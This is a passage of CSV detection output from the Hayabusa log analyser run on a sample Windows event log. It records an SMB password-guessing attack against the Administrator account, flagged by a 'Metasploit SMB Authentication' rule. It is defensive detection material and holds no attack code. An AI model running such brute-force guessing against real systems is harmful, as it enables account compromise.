Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ct7xYUYH9sr7mva : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.381 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.423 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GBn0XxaPOZQokJ0Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.423 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.463 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nQELRxrGuXqkYgO3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.463 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.509 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5eT0mykgLNZQygq9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.509 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qMyIqRidF6oBdzog : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.557 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ULnnFcF98k9zpNTl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j5k02pcelZNGwF3u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qfcC6LqJqs0EeGjE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.693 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mXALYkkitmyAFq14 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zIqQmExq22WrW4md : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.780 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ydHqjdZhLMI9gjfj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.825 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.865 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IMSe45VZNPdovPbq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.865 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.910 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hiHlcR6qNGE0P7TK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.910 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iT3jPdHr89RqPlyd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.950 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0QFnABeYK39XEntR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.985 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5plMYSBQi5mKmdlk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.068 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.113 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TaxWckQUCMgWvCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.113 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 81xZ7iisEyTABmUm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.153 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.187 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qYiQ2xjMQFQwH2XY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.187 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eRN8e3yzZzxc2p3A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QCa6PN0C7XznvipG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.275 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.311 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hFqjIXbEb7eWUFUi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.311 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FkrVjLgnJZlIyXpk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2r5tyuIYijAXN5be : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AgjQNe9hQrLIETDn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.442 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KRNoInpFTsixZDIu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ladJUS6I0HMIwdef : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.523 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6oW63pJlVtjgn3YY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.556 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xKNu8b2To2Y1twUr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q9sN5xm3GytfmM7G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FtQQS61GYBm6WUUz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.684 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3WxxawZZMhNCGHxc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sKP8G2VgJlrr9LMR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.764 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvOsNQpk3c5p1FgK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.839 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H7oz7NPh5Z8UrDPW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.839 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.890 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvzNFOLBlBv98Do4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.890 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8KJmYytO30Icc6Rb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.932 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.962 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zro3jLjFXWZ2o8VL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.962 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Z2J8VYeuxd9fKcG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.999 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pXMjOKLfMex7OmMv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.048 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cgbm3YeoGxCa22Il : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.085 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.123 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7MEstBFjiWhVE18 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.123 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y8Y2kDEiMZWf0znn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.176 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.213 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zBAFVgPIOyCvtdRs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.213 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s3pFhUcspF6lzQXN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.253 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 39LFXXW715pQoADC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.297 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: in4ewyxouUnxQzCQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.341 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 